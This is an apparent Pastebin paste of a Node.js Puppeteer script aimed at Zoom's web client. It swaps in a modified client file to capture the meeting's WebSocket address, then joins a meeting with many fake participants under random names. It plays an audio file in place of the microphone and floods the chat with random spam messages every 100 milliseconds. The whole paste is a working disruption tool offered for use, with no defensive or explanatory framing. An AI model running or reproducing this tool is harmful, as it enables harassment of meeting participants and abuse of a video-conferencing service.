Guest User

Untitled

a guest
Apr 1st, 2020
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.33 KB | None | 0 0
  1. const puppeteer = require('puppeteer');
  2. const fs = require('fs');
  3. const querystring = require('querystring');
  4. const WebSocket = require('ws');
  5.  
  6. thePage = null;
  7. wsAddress = undefined
  8. virtualClientWebSockets = [];
  9. chatSpamEnabled=true;
  10. messagIds={
  11. ping:0,//both {"evt":0,"seq":15}
  12. updateClients:7937,//from server
  13. updateSettings:7938,//from server
  14. setHost:7940,//from server
  15. setVideo:16129,//from server {"body":{"bVideoOn":false,"id":16779266},"evt":16129,"seq":52}
  16. leaveMetting:4103,//from client
  17. updateHand:4131,//from client {"evt":4131,"body":{"bOn":true,"id":16785408},"seq":13}
  18. sendChat:4135,//from client {"evt":4135,"body":{"text":"dGVzdA==","destNodeID":0},"seq":17}
  19. }
  20.  
  21. process.on("exit", function () {
  22. console.log("Exiting Meeting")
  23.  
  24. if (thePage.$(".footer__leave-btn.ax-outline") != null) {
  25.  
  26. }
  27. for (var x = 0; x < virtualClientWebSockets.length; x++) {
  28. if (virtualClientWebSockets[x] !== undefined && virtualClientWebSockets[x].readyState == 1) {
  29. virtualClientWebSockets[x].send('{"evt":'+messagIds['leaveMetting']+',"body":{},"seq":0}')
  30. console.log(names[x] + ": Leaving");
  31. }
  32. }
  33.  
  34. for (var x = 0; x < 10000; x++) { }
  35. //process.exit();
  36. });
  37.  
  38. function genRandomString(length) {
  39. var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*{}[]<>?";
  40. var passwd = ""
  41. for (var i = 0; i < length; i++) {
  42. passwd += chars[parseInt(Math.random() * 76)]
  43. }
  44. return passwd
  45. }
  46. function onPageConsole(error) {
  47. prefix = "jsabdsa#@gtv%^$%77sa4d5a8jsk4nd54yg"
  48. if (wsAddress == undefined && error._text.startsWith(prefix + "wss://") && error._type == 'log' && error._location.url.includes("js/webclient.min.js")) {
  49. wsAddress = error._text.substring(prefix.length)
  50. wsURL = wsAddress.split('?')[0]
  51. thePage.removeListener('console', onPageConsole);
  52. wsParsed = querystring.parse(wsAddress.substring(wsURL.length + 1))
  53. console.log(wsParsed)
  54. createVirtualClients(wsURL, wsParsed)
  55. }
  56. }
  57.  
  58. function onPageRequest(request) {
  59. requestedURL = request.url();
  60. if (requestedURL.includes("js/webclient.min.js")) {
  61. console.log(requestedURL.substring(0, requestedURL.indexOf("/web")))
  62. webClientText = fs.readFile("./webclient.min.js", function (err, webClientText) {
  63. if (err) { throw err; }
  64. console.log("file data: " + webClientText.length)
  65. request.respond({
  66. status: 200,
  67. contentType: 'application/javascript',
  68. body: webClientText
  69. });
  70. });
  71. thePage.on('console', onPageConsole);
  72. } else {
  73. request.continue();
  74. }
  75.  
  76. }
  77.  
  78. async function startZoom(meetingId, pwd, name) {
  79. if (pwd == "=") { pwd = ""; }
  80. const browser = await puppeteer.launch({
  81. headless: false,
  82. defaultViewport: null,
  83. args: [
  84. '--use-fake-ui-for-media-stream'//,
  85. // '--proxy-server=socks5://127.0.0.1:12345'
  86. ],
  87. ignoreDefaultArgs: ['--mute-audio'],
  88. });
  89. pages = await browser.pages();
  90. var page;
  91. if (pages.length > 0) {
  92. page = (await browser.pages())[0];
  93. } else {
  94. page = browser.newPage();
  95. }
  96. thePage = page;
  97. await page.setRequestInterception(true);
  98. page.on('request', onPageRequest);
  99. page.on('console', onPageConsole);
  100.  
  101. const url = "https://zoom.us/wc/join/" + meetingId + "?pwd=" + pwd;
  102. console.log(name + ": Loading Page")
  103. await page.goto(url, { waitUntil: 'load', timeout: 0 });
  104. console.log(name + ": Waiting fot #join-form")
  105. await page.waitFor('#join-form');
  106.  
  107. await page.evaluate((name) => {
  108. $('#inputname')[0].value = name;
  109. $('#joinBtn')[0].click();//$(".more-button__pop-menu dropdown-menu").find("[aria-label='Disable video receiving']").click();
  110. }, name);
  111. console.log(name + ": Joining Meeting")
  112.  
  113. await page.waitForNavigation();
  114. if(page.$("#wc_agree1")!==null){
  115. await page.evaluate(() => {
  116. $("#wc_agree1").click()
  117. })
  118. await page.waitForNavigation();
  119. await page.evaluate((name) => {
  120. $('#inputname')[0].value = name;
  121. $('#joinBtn')[0].click();//$(".more-button__pop-menu dropdown-menu").find("[aria-label='Disable video receiving']").click();
  122. }, name);
  123. console.log(name + ": Joining Meeting Again")
  124. }
  125.  
  126. await page.waitFor("#moreButton");
  127.  
  128. await page.evaluate(() => {//http-server ./ --cors
  129. var audio = document.createElement("audio");
  130. audio.setAttribute("src", "http://127.0.0.1:8080/song.mp3");
  131. audio.setAttribute("crossorigin", "anonymous");
  132. audio.setAttribute("controls", "");
  133. audio.onplay = function () {
  134. var stream = audio.captureStream();
  135. navigator.mediaDevices.getUserMedia = async function () {
  136. return stream;
  137. };
  138. }
  139. document.querySelector("body").appendChild(audio);
  140. });
  141. await page.evaluate(() => {
  142. $('#moreButton')[0].click();
  143. $("body").find("[aria-label='Disable video receiving']")[0].click()
  144. console.log("Main: Leaving")
  145. window.onbeforeunload = function () {
  146. $(".footer__leave-btn.ax-outline").click();
  147. setInterval(function () {
  148. $(".zm-btn.zm-btn-legacy.zm-btn--primary.zm-btn__outline--blue").click();
  149. }, 0);
  150. }
  151. });
  152. console.log(name + ": Connected")
  153.  
  154. }
  155.  
  156.  
  157. numberOfInstances = 0;
  158. names = [];
  159.  
  160. if (process.argv.length < 4) { console.log("Usage Meeting Id, Meeting Password '=' for none, Name, <Number of Instances>, <Name List>"); return null }
  161. if (process.argv.length == 5) {
  162. startZoom(process.argv[2], process.argv[3], process.argv[4], null, 0);
  163. } else if (process.argv.length == 6) {
  164. numberOfInstances = parseInt(process.argv[5])
  165. if (numberOfInstances == "NaN") {
  166. Console.log(process.argv[5] + " Iis Not Valid For Number Of Instances");
  167. }
  168. for (var x = 0; x < numberOfInstances; x++) {
  169. names.push(process.argv[4] + genRandomString(4));
  170. }
  171. startZoom(process.argv[2], process.argv[3], process.argv[4], names, numberOfInstances);
  172. } else {
  173. console.log("Usage Meeting Id, Meeting Password '=' for none, Name, <Number of Instances>, <Name List>");
  174. }
  175.  
  176.  
  177. function createVirtualClients(wsURL, wsParsed) {
  178. for (var x = 0; x < numberOfInstances; x++) {
  179. wsParsed['dn'] = names[x]
  180. wsParsed['dn2'] = (new Buffer(names[x])).toString('base64')
  181. console.log(names[x] + ': Connecting')
  182. url = wsURL + "?" + querystring.stringify(wsParsed);
  183. virtualClientWebSockets.push(new WebSocket(url))
  184. }
  185. if(chatSpamEnabled){
  186. setInterval(chatSpam,100);
  187. }
  188. }
  189.  
  190. //sendChat:4135,//from client {"evt":4135,"body":{"text":"dGVzdA==","destNodeID":0},"seq":17}
  191. function chatSpam(){
  192. for (var x = 0; x < virtualClientWebSockets.length; x++) {
  193. if (virtualClientWebSockets[x] !== undefined && virtualClientWebSockets[x].readyState == 1) {
  194. virtualClientWebSockets[x].send('{"evt":'+messagIds['sendChat']+',"body":{"text":"'+(new Buffer("chatSpam: "+genRandomString(30))).toString('base64')+'","destNodeID":0},"seq":17}')
  195. }
  196. }
  197. }
Add Comment
Please, Sign In to add comment